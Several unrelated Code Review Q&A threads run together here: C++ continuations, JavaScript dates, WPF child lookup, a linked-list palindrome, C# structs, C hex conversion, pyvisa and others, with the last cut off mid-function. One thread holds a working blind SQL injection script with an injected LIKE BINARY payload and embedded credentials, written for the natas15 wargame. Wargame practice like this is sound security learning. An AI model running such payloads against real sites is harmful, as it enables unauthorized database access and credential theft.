C++ heap CPS: Continuation Passing Style with Recursion I am willing to see how to write readable and efficient continuations on the heap in c++. I am not quite satisfied.

The following is just an exercise: it is coded for fun. I post the code here because I am not really satisfied. I am looking for suggestions.
I picked up the simplest algorithm: measuring the length of a list and I wrote few recursive implementations. The plain one is len().

Then I wrote lenK() i.e. len() in CPS. This is quite straightforward, I think this code is fine. Isn't it?

When it comes to Kontinuations on the heap, I had to write the continuation K as a class (fine) but I had to use virtuality to let the compiler understand what I wanted (if I use templates the compiler cannot understand that my program eventually terminates and for each call create a new type). I have the strong impression that my solution is not elegant and is not efficient. Is there a better way to implement CPS on the heap?

#include <iostream>
#include <functional>
#include <memory>

struct List;
bool isEnd(const List& l);
double getHead(const List& l);
List* getTail(const List& l);

//////////////////////////////////////////////////////////////////////////////

int len(const List& l, int val=0){
    if (isEnd(l))
        return val;
      return len(*getTail(l),
                 ++val);
}

//////////////////////////////////////////////////////////////////////////////

double lenK(const List& l, std::function<int(int)> k){
    if (isEnd(l))
        return k(0);
    return lenK(*getTail(l), [k](int a){return k(a+1);} );
}

//////////////////////////////////////////////////////////////////////////////
class IntInt{
   public:
      virtual ~IntInt()=default;
      virtual int operator()(int)=0;
};

using funcPtr = std::unique_ptr<IntInt>;

class IntID : public IntInt{
   public:
      int operator()(int a){ return a;}
};

class K : public IntInt{
   public:
      K( funcPtr&& k) : k_(std::move(k)){}
      int operator()(int a){ return (*k_)(a+1);}
   private:
      funcPtr k_;
};
//////////////////////////////////////////////////////////////////////////////

double lenKheap(const List& l, funcPtr&& k){
    if (isEnd(l))
        return (*k)(0);
    List* myTail = getTail(l);
    funcPtr myK = std::make_unique<K>(std::move(k));
    // Without tail call optimization we run out of stack space as for lenK and len.
    return lenKheap(*myTail,
                    std::move(myK));
}

void checkLenFunctions(const List& myL){

    std::cout << len(myL) << std::endl;

    auto intId = [](int x){return x;};
    std::cout << lenK(myL, intId ) << std::endl;

    std::cout << lenKheap(myL, std::make_unique<IntID>()) << std::endl;
}

If you want to experiment without bothering with the task of implementing the List class and functions, I provide you with an implementation of it. But this is not part of the review:

struct List{
    List(double d, List* l) : d_(d), l_(l){}
    List() : d_(0.0), l_(this){}
    double d_;
    List* l_;
};

bool isEnd(const List& l){
    if (l.l_ == &l)
        return true;
    return false;
}
double getHead(const List& l){
    if (!isEnd(l))
        return l.d_;
    throw "EndOfList";
}
List* getTail(const List& l){
    if (!isEnd(l))
        return l.l_;
    throw "EndOfList";
}

int main(){
    List myL;
    List myL1 = List(1.0, &myL);
    List myL2 = List(2.0, &myL1);
    List myL3 = List(3.0, &myL2);
    List myL4 = List(4.0, &myL3);

    checkLenFunctions(myL4);

    return 0;
}

Code Review

Use standard library data structures! In this case std::list.
Iterators are the usual way of traversing a C++ container, so use those too (they also allow us to not care which data structure is being used).
Use std::size_t or even std::container<T>::size_type for indexing. An int is signed, and won't necessarily cover the correct range to be indexed.
lenK and lenKheap return doubles, but should presumably return the index type.

template<class IteratorT>
std::size_t length(IteratorT begin, IteratorT end, std::size_t totalLength = 0) {
    return (begin == end) ? totalLength : length(std::next(begin), end, totalLength + 1);
}

using F = std::function<std::size_t(std::size_t)>;

template<class IteratorT>
std::size_t lengthK(IteratorT begin, IteratorT end, F k = [] (std::size_t a) { return a; }) {
    return (begin == end) ? k(0) : lengthK(std::next(begin), end, [k] (std::size_t a) { return k(a + 1); });
}

...

    auto list = std::vector<int>{ 0, 1, 2, 3 };

    std::cout << length(list.begin(), list.end()) << std::endl;
    std::cout << lengthK(list.begin(), list.end()) << std::endl;

Note that the stack overflow that happens with long lists is due to the depth of recursion. std::function may already be using the heap to allocate memory. As such, there's not much point in using unique_ptr.

In theory we could use the type hiding already present in std::function, rather than defining a separate inheritance hierarchy, and do something like this:

template<class IteratorT>
std::size_t lengthKHeap(IteratorT begin, IteratorT end, std::unique_ptr<F>&& k = std::make_unique<F>([] (std::size_t a) { return a; })) {
    return (begin == end) ? (*k)(0) : lengthKHeap(std::next(begin), end, std::make_unique<F>([k = std::move(k)](std::size_t a) { return (*k)(a + 1); }));
}

However, this doesn't compile. Although lambda capture by move was added in C++14, std::function is still required to be copyable. We can use a dodgy work-around storing the parameters in a shared pointer like this:

// hideous hack from here: https://stackoverflow.com/a/20846873/673679
template<class F>
auto make_copyable_function(F&& f) {
    auto spf = std::make_shared<std::decay_t<F>>(std::forward<F>(f));
    return [spf] (auto&&... args) -> decltype(auto) { return (*spf)(decltype(args)(args)...); };
}

template<class IteratorT>
std::size_t lengthKHeap(IteratorT begin, IteratorT end, std::unique_ptr<F>&& k = std::make_unique<F>([] (std::size_t a) { return a; })) {
    return (begin == end) ? (*k)(0) : lengthKHeap(std::next(begin), end, std::make_unique<F>(make_copyable_function([k = std::move(k)](std::size_t a) { return (*k)(a + 1); })));
}

But as mentioned, this doesn't help avoid the stack overflow.

Deviations

Things become much more interesting if we stop using recursion and store a vector of functions instead. This allows us to make the control flow explicit (which appears to be one of the main points of using continuations). e.g.:

using NodeT = std::function<void()>;

struct Then {

    void add(NodeT node) {
        m_nodes.push_back(std::move(node));
    }

    void operator()() const {
        for (auto& n : m_nodes)
            n();
    }

private:

    std::vector<NodeT> m_nodes;
};

...

    auto i = 0;
    auto increment = [&] () { ++i; };

    auto then = Then();

    for (auto _ : list)
        then.add(increment);

    then();

    std::cout << i << std::endl;

Counting the elements in a list isn't a good example, but I've actually found this pattern of composing functions very helpful for writing lexers / parsers. By defining some more classes to go with Then (Or, ZeroOrOne, ZeroOrMore, etc.) and some operator overloading, it's possible to build up an entire tree of parsing / lexing functions with code that's very close to a simple statement of the language grammar. Which is pretty cool (if not technically continuations).

Of course, there's also asychronously oriented composition stuff using std::future, but I've not been keeping up with what's going on in the C++ standard with that lately.

facebook version.
blog series on avoiding allocations.

Full Code

#include <functional>
#include <memory>

template<class IteratorT>
std::size_t length(IteratorT begin, IteratorT end, std::size_t totalLength = 0) {
    return (begin == end) ? totalLength : length(std::next(begin), end, totalLength + 1);
}

using F = std::function<std::size_t(std::size_t)>;

template<class IteratorT>
std::size_t lengthK(IteratorT begin, IteratorT end, F k = [] (std::size_t a) { return a; }) {
    return (begin == end) ? k(0) : lengthK(std::next(begin), end, [k] (std::size_t a) { return k(a + 1); });
}

// hideous hack from here: https://stackoverflow.com/a/20846873/673679
template<class F>
auto make_copyable_function(F&& f) {
    auto spf = std::make_shared<std::decay_t<F>>(std::forward<F>(f));
    return [spf] (auto&&... args) -> decltype(auto) { return (*spf)(decltype(args)(args)...); };
}

template<class IteratorT>
std::size_t lengthKHeap(IteratorT begin, IteratorT end, std::unique_ptr<F>&& k = std::make_unique<F>([] (std::size_t a) { return a; })) {
    return (begin == end) ? (*k)(0) : lengthKHeap(std::next(begin), end, std::make_unique<F>(make_copyable_function([k = std::move(k)](std::size_t a) { return (*k)(a + 1); })));
}

#include <functional>
#include <vector>

using NodeT = std::function<void()>;

struct Then {

    void add(NodeT node) {
        m_nodes.push_back(std::move(node));
    }

    void operator()() const {
        for (auto& n : m_nodes)
            n();
    }

private:

    std::vector<NodeT> m_nodes;
};

#include <list>
#include <vector>
#include <iostream>

int main() {

    {
        auto const list = std::vector<int>{ 0, 1, 2, 3 };

        {
            std::cout << length(list.begin(), list.end()) << std::endl;
            std::cout << lengthK(list.begin(), list.end()) << std::endl;
            std::cout << lengthKHeap(list.begin(), list.end()) << std::endl;
        }

        {
            auto i = 0;
            auto increment = [&] () { ++i; };

            auto then = Then();

            for (auto _ : list)
                then.add(increment);

            then();

            std::cout << i << std::endl;
        }
    }
}


How could I do DateTime.Now.Date (from C#) in JavaScript? In C# I can use

DateTime dt = DateTime.Now.Date;

This will give the current date, without the TimeSpan value ('00:00:00'). In JavaScript I did this:

var dt = new Date(new Date().getFullYear(), new Date().getMonth(), new Date().getDate());

But is so "ugly" that there must be a better, easier and clean way to do it.

It is not ideal, but you can do it this way...

var today = new Date();
var dateWithoutTime = new Date(today.getFullYear() , today.getMonth(), today.getDate());

There are multiple ways to make Dates in javascript.  The format above will create a new Date based on "today"'s year, month, and date (think day of the month).

Technically you could also do this with a DateString, however "new Date(dateString)" is implementation dependent, and may have inconsistent behavior across different browsers.

And if making 2 Date objects makes you uncomfortable, you could always do the following:

var today = new Date();
today.setHours(0); // or today.toUTCString(0) due to timezone differences
today.setMinutes(0);
today.setSeconds(0);


Is there a better way to get a child? I have written the following code to get ImageColorPicker child:

foreach (CustomTabItem customTabItem in SelectedWindowsTabControl.Items)
{
    TabItem ti = tabControl.ItemContainerGenerator.ContainerFromItem(customTabItem) as TabItem;
    Popup popup = (Helpers.FindVisualChild<Popup>(ti) as Popup);
    ImageColorPicker icp = (popup.Child as StackPanel).Children[0] as ImageColorPicker;

    ...
}

public class Helpers
{
    /// <summary>
    /// Return the first visual child of element by type.
    /// </summary>
    /// <typeparam name="T">The type of the Child</typeparam>
    /// <param name="obj">The parent Element</param>
    public static T FindVisualChild<T>(DependencyObject obj) where T : DependencyObject
    {
        for (int i = 0; i < VisualTreeHelper.GetChildrenCount(obj); i++)
        {
            DependencyObject child = VisualTreeHelper.GetChild(obj, i);
            if (child != null && child is T)
                return (T)child;
            else
            {
                T childOfChild = FindVisualChild<T>(child);
                if (childOfChild != null)
                    return childOfChild;
            }
        }
        return null;
    }
}

Here's the control template XAML of the TabItem (the relevant part):

<ControlTemplate TargetType="{x:Type local:CustomTabItem}">
    <Grid Height="26" Background="{TemplateBinding Background}">
        <Grid.ColumnDefinitions>
            <ColumnDefinition Width="Auto" />
            <ColumnDefinition Width="Auto" />
        </Grid.ColumnDefinitions>
        <ContentPresenter Margin="5,0" HorizontalAlignment="Left" VerticalAlignment="Center" ContentSource="Header">
        </ContentPresenter>
        <StackPanel Grid.Column="1" Height="16" Margin="0,0,1,0" HorizontalAlignment="Center" VerticalAlignment="Center" Orientation="Horizontal">
            <ToggleButton x:Name="Edit" Width="16" Content="&#xE104;" Style="{StaticResource CustomizedMetroTabItemToggleButton}" ToolTip="Edit" />
            <Popup HorizontalOffset="{Binding Width, ElementName=Edit}" IsOpen="{Binding IsChecked, Mode=TwoWay, ElementName=Edit}" Placement="Left" PlacementTarget="{Binding ElementName=Edit}" PopupAnimation="Slide" StaysOpen="False" VerticalOffset="{Binding ActualHeight, ElementName=Edit}">
                <StackPanel>
                    <local:ImageColorPicker x:Name="ColorPicker" Width="100" Height="100" HorizontalAlignment="Center" Source="Images/ColorWheel.png" />
                </StackPanel>
            </Popup>
        </StackPanel>
    </Grid>
</ControlTemplate>

Is there a better way to get the ImageColorPicker than what I've done? (getting the TabItem, then the Popup and then the ImageColorPicker, I am sure there's a shorter way)

I don't like a class that's just called Helpers - that's generally a code smell, something that ends up a big dumping ground for anything that doesn't quite fit anywhere else. Be more specific when naming things, perhaps VisualHierarchyHelper would be a better name?
I'm using a very similar method - the main difference is essentially the number ot return statements, and the childName parameter; I found this code on Stack Overflow a little while ago:
    /// <summary>
    /// Finds a Child of a given item in the visual tree.
    /// </summary>
    /// <param name="parent">A direct parent of the queried item.</param>
    /// <typeparam name="T">The type of the queried item.</typeparam>
    /// <param name="childName">x:Name or Name of child. </param>
    /// <returns>The first parent item that matches the submitted type parameter.
    /// If not matching item can be found,
    /// a null parent is being returned.</returns>
    /// <remarks>
    /// https://stackoverflow.com/a/1759923/1188513
    /// </remarks>
    public static T FindChild<T>(this DependencyObject parent, string childName)
       where T : DependencyObject
    {
        if (parent == null) return null;

        T foundChild = null;

        var childrenCount = VisualTreeHelper.GetChildrenCount(parent);
        for (var i = 0; i < childrenCount; i++)
        {
            var child = VisualTreeHelper.GetChild(parent, i);
            var childType = child as T;
            if (childType == null)
            {
                foundChild = FindChild<T>(child, childName);
                if (foundChild != null) break;
            }
            else if (!string.IsNullOrEmpty(childName))
            {
                var frameworkElement = child as FrameworkElement;
                if (frameworkElement != null && frameworkElement.Name == childName)
                {
                    foundChild = (T)child;
                    break;
                }
            }
            else
            {
                foundChild = (T)child;
                break;
            }
        }

        return foundChild;
    }

Notice the guard clause preventing a NullReferenceException that your method would throw if obj was null. I think this is a pretty neat way of finding a child node in the visual tree.
That said, it might be personal preference, but I think the readability of your code could benefit from implicit typing (var), especially in cases like this where the type is already pretty obvious:
TabItem ti = tabControl.ItemContainerGenerator.ContainerFromItem(customTabItem) as TabItem;
Popup popup = (Helpers.FindVisualChild<Popup>(ti) as Popup);
ImageColorPicker icp = (popup.Child as StackPanel).Children[0] as ImageColorPicker;

Becomes:
var ti = tabControl.ItemContainerGenerator.ContainerFromItem(customTabItem) as TabItem;
var popup = (Helpers.FindVisualChild<Popup>(ti) as Popup);
var icp = (popup.Child as StackPanel).Children[0] as ImageColorPicker;

And here you would have to make sure popup isn't null before accessing its Child member, if you want to avoid that possible NullReferenceException.
Also, you're casting too much - T should be of the type you've specified, so the return type of FindChild<ImageColorPicker> is ImageColorPicker, casting it to ImageColorPicker is redundant.

Update
The ImageColorPicker child has a Popup parent, which has a StackPanel parent, which has a Grid parent, which has a TabItem parent.
You're not fully using the recursiveness of your function when you're getting the color picker. I'd believe you could get it like this:
var tab = tabControl.ItemContainerGenerator.ContainerFromItem(customTabItem) as TabItem;
var picker = VisualHierarchyHelper.FindChild<ImageColorPicker>(tab, "ColorPicker");

That should work, because the search is recursive; you don't need to get everything in-between.


Check if a given linked list is palindrome I am solving interview questions from here.

Problem :Given a singly linked list, determine if its a palindrome. Return 1 or 0 denoting if its a palindrome or not, respectively.
Notes:Expected solution is linear in time and constant in space.
For example,
List 1-->2-->1 is a palindrome.
List 1-->2-->3 is not a palindrome.

How can this solution be improved ?
class ListNode:
    def __init__(self, x):
        self.val = x
        self.next = None

class Solution:
    def __init__(self,seq):
        """prepends item of lists into linked list"""
        self.head = None
        for item in seq:
            node = ListNode(item)
            node.next = self.head
            self.head = node

    def list_palin(self):
        """ Returns 1 if linked list is palindrome else 0"""
        node = self.head
        fast = node
        prev = None
        ispal = True

        # prev approaches to middle of list till fast reaches end or None
        while fast and fast.next:
            fast = fast.next.next
            temp = node.next   #reverse elemets of first half of list
            node.next = prev
            prev = node
            node = temp

        if fast:  # in case of odd num elements
            tail = node.next
        else:    # in case of even num elements
            tail = node

        while prev and ispal:
            # compare reverse element and next half elements
            if prev.val == tail.val:
                tail = tail.next
                prev = prev.next
                ispal = True
            else:
                ispal = False
                break

        if ispal :
            return 1
        else :
            return 0
# Test Cases
listpal_1 = Solution([7, 8, 6 ,  3 , 7 ,3 , 6, 8, 7])
assert listpal_1.list_palin()
listpal_2 = Solution([6 , 3 , 7, 3, 6])
assert listpal_2.list_palin()
listpal_3 = Solution([3, 7 ,3 ])
assert listpal_3.list_palin()
listpal_4 = Solution([1])
assert listpal_4.list_palin()

More tests

Having a test suite is nice.
It would be even nicer to make it more comprehensive by adding:

edge cases (empty list for instance)
inputs with an even number of elements
negative test cases : input is not a palindrome.

Here is a suggestion, I took this chance to remove the duplicated logic by extracting the data into a proper data structure:

# Test Cases
tests = [
    ([], True),
    ([1], True),
    ([1, 1], True),
    ([1, 2], False),
    ([3, 7, 3], True),
    ([3, 7, 4], False),
    ([6, 3, 7, 3, 6], True),
    ([7, 8, 6, 3, 7, 3, 6, 8, 7], True),
    ([7, 8, 6, 3, 7, 4, 6, 8, 7], False),
]
for inp, expected in tests:
    res = Solution(inp).list_palin()
    if res != expected:
        print("%s: %d != %d" % (inp, res, expected))

Using the boolean type

The bool type is expected for this type of situation (even if in Python, booleans are also integers equal to 0 or 1).

Many things can be simplified then:

    if ispal :
        return 1
    else :
        return 0

becomes:

    return ispal

Also, you can return False directly in the else block of the while loop.
Then, it becomes more obvious that you never assign False to ispal. You can get rid of it and all the logic around it.

def list_palin(self):
    """ Check if linked list is palindrome and return True/False."""
    node = self.head
    fast = node
    prev = None

    # prev approaches to middle of list till fast reaches end or None
    while fast and fast.next:
        fast = fast.next.next
        temp = node.next   #reverse elemets of first half of list
        node.next = prev
        prev = node
        node = temp

    if fast:  # in case of odd num elements
        tail = node.next
    else:    # in case of even num elements
        tail = node

    while prev:
        # compare reverse element and next half elements
        if prev.val == tail.val:
            tail = tail.next
            prev = prev.next
        else:
            return False
    return True

Do we need that much code?

Depending on what you are trying to achieve personally, you may or may not need to re-implement a linked list.

Also, having a class named Solution seems a bit awkward here.

Function/method to compare list

The final block of the function compares 2 lists. It may be worth moving this to a function on its own.

Even better, you could define an __eq__ method in the ListNode class:

class ListNode:
    def __init__(self, x):
        self.val = x
        self.next = None

    def __eq__(self, other):
        return isinstance(other, ListNode) and self.val == other.val and self.next == other.next

and then just write:

    if fast:  # in case of odd num elements
        tail = node.next
    else:    # in case of even num elements
        tail = node

    return prev == tail


natas15 blind SQL injection I've been having fun with natas, a wargame, from overthewire.

This is another script I made to pass stage 15. I'm using Python with SQL injection to find the password for the next level.

I think the program is short, and easy to understand. But maybe I could have done a few things even better.

Any review is welcome!

import string
import requests

POSSIBLE_CHARS = string.ascii_letters + string.digits
URL = 'http://natas15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J@natas15.natas.labs.overthewire.org/'

def blind_sql():
    password = ''
    correct_guess = b'This user exists.'

    # Because all natas passwords were 32 char long
    for i in range(32):
        for char in POSSIBLE_CHARS:
            sql = f'{URL}?username=natas16" AND password LIKE BINARY "{password}{char}%'
            if requests.get(sql).content.find(correct_guess) != -1:
                password += char
                break

    return f'Password = {password}'

if __name__ == '__main__':
    if requests.get(URL).status_code == requests.codes.ok:
        print(blind_sql())
    else:
        print('Authentication failed!')

You code is well-written.
You may want to

add a docstring to the function
rename the loop variable i to _, since it is not being used.

You may also want to consider using itertools.repeat, which is said to be slightly faster than for _ in range(N).


Should this container be a struct or a class? I have a class that serves purely as a data container for passing values from a parsing class to a class responsible for saving the data. I have been wondering whether it would be more appropriate as a struct. The class definition is below.

internal class DataContainer
{
    public string FirstName { get; set; }

    public string LastName { get; set; }

    public Guid PersonId { get; set; }

    public string Address { get; set; }

    public string PhoneNumber { get; set; }

    public string Sensor1Name { get; set; }

    public IEnumerable<Tuple<double?, int>> Sensor1Readings { get; set; }

    public string Sensor2Name { get; set; }

    public IEnumerable<Tuple<double?, int>> Sensor2Readings { get; set; }
}

The parser uses an iterator block to turn a large csv file into approximately 6000 DataContainers. As they are created, each DataContainer is passed to the SaveContainer. The SaveContainer immediately reads the values and discards each object. Finally, the SaveContainer saves all the values to the database:

internal class FileParser
{
    // Much yak shaving...

    private IEnumerable<DataContainer> GetFileData()
    {
        using (StreamReader readFile = new StreamReader(this.FilePath))
        {
            string tableData = null;
            while ((tableData = readFile.ReadLine()) != null)
            {
                var sensor1Data = readFile.ReadLine();
                var sensor2Data = readFile.ReadLine();

                DataContainer currentData = this.CreateDataContainer(tableData, sensor1Data, sensor2Data);
                yield return currentData;
            }
        }
    }

    private void CollectData()
    {
        SaveContainer saveContainer = new SaveContainer();
        foreach (var data in this.GetFileData())
        {
            saveContainer.AddData(data);
        }

        saveContainer.Save();
    }
}

I have read Microsoft's Choosing Between Class and Struct guidelines and I think that I mostly understand them (enough to say that this type does not meet the qualifications). I've also read some related Stack Overflow answers including this and this. They seem to offer a wide variety of opinions on the matter.

I have no specific need to change the type definition, but its use is so particular and basic that a class seems unnecessarily complex. Would changing this class to a struct offer any compelling advantages or disadvantages?

Keep it a class

The linked MSDN guideline says so itself:

  X AVOID defining a struct unless the type has all of the following characteristics:

  it has an instance size under 16 bytes

It should be pretty clear that DataContainer is going to be much larger than 16 bytes.

One of the reasons this is a concern is that structs are stored on the stack.  The default .NET thread stack size is 1MB, so in an extreme case, a struct which is too large could get you a StackOverflowException without any recursion required.


strToHex ( string to its hex representation as string) I want to convert strings to their hex representations as strings too (like hex dump programs), for example "abz" to "61627A".

char * strToHex( char * str )
{
    int length = strlen ( str );
    char * newStr = malloc( length  * 2 );
    if ( !newStr ) shutDown ( "can't alloc memory" ) ;

    for ( int x = 0; x < length; x++){
        char y = str[ x ];
        sprintf ( newStr + x * 2, "%02X", y );
    }
    return newStr;
}

ShutDown definition is omitted here, it is a function that calls perror and exit()

I designed strToHex to be used like

char * str = "abcdefghijklmnopqrstuvwxyz";
char * hex = strToHex(str);
printf("%s\n",hex);
//outputs : 6162636465666768696A6B6C6D6E6F707172737475767778797A

Bug

As Carsten points out, you need to allocate \$(\text{length}\cdot 2)+1\$ bytes, rather than \$(\text{length}\cdot2)\$ to account for the null terminator sprintf() adds.

Formatting

Most C formatting guides do not include spaces around the arguments to function calls, nor the expressions within an if-statement. For an example of a C style most C programmers would find acceptable, see OpenBSD's style(9) manual.

I choose to associate * with the variable name, rather than floating between the type and name. This disambiguates the following example:

int *a, b;

Here, a is a pointer to an integer, but b is only an integer. By moving the asterisk next to the name, it makes this clearer.

int length = strlen ( str );
char * newStr = malloc (length * 2 );
if ( !newStr) shutDown ( "can't allocate memory" ) ;

Becomes:

int const len = strlen(str);
char *const new_str = malloc(1 + len * 2);

if (new_str == NULL) {
    shutDown("can't allocate memory");
}

Error checking

Rather than calling shutDown() and exit()ing the program, you should instead return an error value which can be checked by the caller of str_to_hex(). Because you return a pointer, you can return NULL to indicate an error occurred and the caller should check errno.

Likewise, on some systems your program can incorrectly exit when length == 0. If we look at the manual page for malloc(3):

  Return Value

  The malloc() and calloc() functions return a pointer to the allocated memory that is suitably aligned for any kind of variable. On error, these functions return NULL. NULL may also be returned by a successful call to malloc() with a size of zero, or by a successful call to calloc() with nmemb or size equal to zero.

So by returning NULL we account for the case where malloc(3) returns NULL on success.

if (new_str == NULL) {
    shutDown("can't alloc memory");
}

Becomes:

if (new_str == NULL) {
    return NULL;
}

If you choose, you can also check if str is NULL before calling strlen(). This is up to you, and it's not uncommon in C to ignore this case and leave it as user error.

Looping

Use the size_t type in your loop rather than int. size_t is guaranteed be wide enough to hold any array index, while int is not.

Using i rather than x is more common for looping variables.

The y variable isn't needed. You can simply use str[i] in its place.

In terms of performance there's likely a faster option than using sprintf(). You should look into strtol(3).

Conclusion

Here is the code I ended up with:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char *
str_to_hex(char const *const str)
{
    size_t const len = strlen(str);

    char *const new_str = malloc(1 + len * 2);

    if (new_str == NULL) {
        return NULL;
    }

    for (size_t i = 0; i < len; ++i) {
        sprintf(new_str + i * 2, "%02X", str[i]);
    }

    return new_str;
}

int
main(void)
{
    char *str = "abz";
    char *hex = str_to_hex(str);

    if (hex == NULL && strlen(str) != 0) {
        /* error ... */
    }

    printf("%s\n",hex);

    free(hex);
}

Hope this helps!


Interfacing with instruments using pyvisa I'm new to Python, and after running through some introductory exercises I wrote a class definition for working with some hardware, specifically a Signal Recovery model 7230 lockin amplifier.  In the interests of learning good habits from the beginning, I've tried to write "good code" that is properly documented, follows good practices and so forth.

""" Module for  interfacing with Signal Recovery 7230 lock-in amplifier.

A substantial ammount is currently not implmented. It will not work with
a lockin which is configured for double demodulation. If you get a lot
of timeouts, that might be why.

It is also currently missing any way to configure the lockin. Use the
web interface. It does read and expose the status bytes, but at the moment
there is no checking of their content.

@author: Jack Barraclough
"""

import pyvisa

class WrongInstrumentError(Exception):
    """The wrong instrument is connected

    A connection was successfuly established, and the instrument responded
    to a request to identify itself, but the ID recieved was wrong.
    Probably the instrument at the given VISA identifier is not the one
    you wanted.
    """
    pass

class Instrument:
    """Represents a Signal Recovery Model 7230 lock-in amplifier

    Note that several instances can be created representing the same
    instrument. Be careful.
    Instance variables:
      pyvisa -- a pyvisa object for the connection, avoid using.
      status_byte -- status byte after the last read operation.
      overload_byte -- overload byte after the last read operation.
    Methods:
      read, write -- Read and write strings to/from the instrument.
      get_X, get_Y, get_R, get_T -- get measurements from the instrument.
      get_noise -- get the estimated measurement noise
    """

    def __init__(self,visaName):
        """ Connects to the lockin amplifier

        Connects to the lockin, and checks that the lockin is present and
        correct. An error will be raised if the lockin is not there, or
        if it fails to identify itself as a model 7230
        Arguments:
          visaName -- A Visa Resource ID, like 'TCPIP0::10.0.0.2::50000::SOCKET'
        """
        rm = pyvisa.ResourceManager()
        self.pyvisa = rm.open_resource(visaName)
        self.pyvisa.read_termination='\00'
        self.write('ID') # uses this not '*IDN?'
        resp = self.read()
        if resp != '7230':
            raise WrongInstrumentError(
                'Wrote "ID" Expected "7230" got "{}"'.format(resp))

    def write(self,string):
        """Write string to the instrument."""
        self.pyvisa.write(string)

    def read(self):
        """Read string from the instrument. Also sets status bytes"""
        # replies seem to be: response LF NUL then two status bytes
        resp = self.pyvisa.read().strip()
        status = self.pyvisa.visalib.read(self.pyvisa.session,2)[0]
        self.status_byte = status[0]
        self.overload_byte = status[1]
        return resp

    def get_X(self):
        """Get X value from the instrument, returns a float"""
        self.write('X.')
        return float(self.read())

    def get_Y(self):
        """Get Y value from the instrument, returns a float"""
        self.write('Y.')
        return float(self.read())

    def get_R(self):
        """Get R value from the instrument, returns a float"""
        self.write('MAG.')
        return float(self.read())

    def get_T(self):
        """Get theta value from the instrument, returns a float"""
        self.write('PHA.')
        return float(self.read())

    def get_noise(self):
        """Get Y noise from the instrument, in v/sqrtHz, returns a float"""
        self.write('NHZ.')
        return float(self.read())

I'm interested in general feedback but also have some specific questions:

Am I using exceptions correctly?
The pyvisa resource manager has a rm.close() method. By not calling it, am I leaking something? Will the garbage collector deal with it? Is it bad form to leave it to the garbage collector? Should I clear it up with a destructor somehow?

Your code so far looks pretty good - well structured, useful docstrings, well done! You mention exceptions; the one occasion you use it seems fine to me.

Per the style guide, e.g. visaName should be visa_name. Also, rather than commenting pyvisa -- a pyvisa object for the connection, avoid using., it is conventional to prepend the names of attributes that shouldn't be used externally with a single underscore: _pyvisa.

Rather than including @author in your docstring, you could use one of Python's special module attributes:

__author__ = 'Jack Barraclough'

get methods aren't very Pythonic. Instead, I would suggest you use properties, for example:

@property
def R(self):
    """Get R value from the instrument, returns a float"""
    self.write('MAG.')
    return float(self.read())

Now, rather than instrument.get_R(), you can type simply instrument.R.

Going further, there is a lot of duplication - every single one calls self.write then returns the value from self.read. You could factor this out entirely:

class Instrument:

    PROPERTIES = {'R': 'MAG.', ...}

    def __getattr__(self, attr):
        if attr in self.PROPERTIES:
            return self._get(self.PROPERTIES[attr])
        msg = "{!r} object has no attribute {!r}"
        raise AttributeError(msg.format(self.__class__.__name__, attr))

    def __setattr__(self, attr, val):
        if attr in self.PROPERTIES:
            raise AttributeError("can't set attribute")
        return super().__setattr__(attr)

    def _get(self, value):
        self.write(value)
        return float(self.read())

I admit I don't know much about pyvisa, but one option to ensure the resource is released would be to make your class a context manager type. Then a user could do e.g.

with Instrument(whatever) as inst:
    ...

and be certain that everything was dealt with on __exit__.


GCD - is this solution iterative? Using the property that GCD(a, b) = GCD(b, r) where r is the remainder when you compute (a / b), you can write a recursive function as follows:

(define (gcd a b)
  ; recursive
  (if (= 0 b) a
      (gcd b (remainder a b))))

I also tried to write the following as an iterative function, but it still looks very similar to the recursive solution to my eye.  Is this a correct, iterative solution?

(define (i-gcd a b)
  ; is this iterative?
  (i-gcd-iter (remainder a b) b))

(define (i-gcd-iter acc b)
  (if (= 0 b) acc
      (gcd b (remainder acc b))))

EDIT: It appears that the first solution was actually iterative, and in fact very similar to the solution written in SICP (http://mitpress.mit.edu/sicp/full-text/book/book-Z-H-11.html).  What would a recursive solution to this problem look like?

Indeed, both versions you have are iterative. I'm not actually sure that a recursive solution makes sense in this case---usually a recursive approach is for the classical pattern of holding the result of operating on the first item, then recursing into the remaining items. Calculating the GCD doesn't fit that pattern.

One small suggestion: you can use (zero? b) instead of (= 0 b).


Terminated due to timeout Mapping phone numbers I have a code based on the following problem "Mapping phone numbers to names", the problem is that when they are going to process large data(+100.000) the program ends by timeout. my code and problem is this, how can I optimize my code to consume less time?

my code

function processData(input) {
  var r=input.split(/\n/),o=Number(r[0]),c=r.length-1,x=[];
  r.splice(0,o+1);
  r.forEach((l)=>{
      var rx=new RegExp(l+"\\s(\\d+)"),o=input.match(rx);
      console.log(o==null?"Not found":l+"="+o[1]);
  });
}

Example Input

3
sam 99912222
tom 11122222
harry 12299933
sam
edward
harry

Example Output

sam=99912222
Not found
harry=12299933

The program generates timeout in the following case

BIG Example Input and output
Thanks

Naming

Single character name is a bad practice. Use the descriptive names for variables.

r => rows
o => noOfRecords
c => noOfRows
x => ...

They are not searchable and can be easily confused with numbers. For example, l and 1, 0 and o/O.

Dead/Unused Code

Variables c and x are not used and thus can be removed.

Overriding Variables

<opinion-based>Variable o is used to get the first line in the file and then inside forEach it is again used to store the match result. This will work fine, but will also confuse other users(or you after few months). The variables should be used for single-purpose.</opinion-based>

Slice down input data

Inside forEach, input data is used to search for the name. input here is complete data with the number of records on the first line, name-numbers and then names.
This data can be sliced down to keep only name-number. This will reduce the data to work on and will improve the performance.

var rows = input.split(/\n/);
var nameAndNumbers = rows.slice(1, numberOfRows + 1);

and use nameAndNumbers to search name from.

As greybeard mentioned in comment, you should use object/Map to store the name and number.

function processData(input) {
    var rows = input.split(/\n/);
    var numberOfRows = Number(rows[0]);

    var nameAndNumbers = rows.slice(1, numberOfRows + 1);
    var names = rows.slice(numberOfRows + 1);

    var phoneBook = {};
    nameAndNumbers.forEach(function(number) {
        var data = number.split(' ');
        phoneBook[data[0]] = data[1];
    });

    return names.map(name => phoneBook[name] ? name + '=' + phoneBook[name] : 'Not Found').join('\n');
}


Random String generator in C I created this small function just to practice C code.  It's a simple random string generator.

#include <string.h>
#include <time.h>

char *randstring(int length) {
    static int mySeed = 25011984;
    char *string = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789,.-#'?!";
    size_t stringLen = strlen(string);
    char *randomString = NULL;

    srand(time(NULL) * length + ++mySeed);

    if (length < 1) {
        length = 1;
    }

    randomString = malloc(sizeof(char) * (length +1));

    if (randomString) {
        short key = 0;

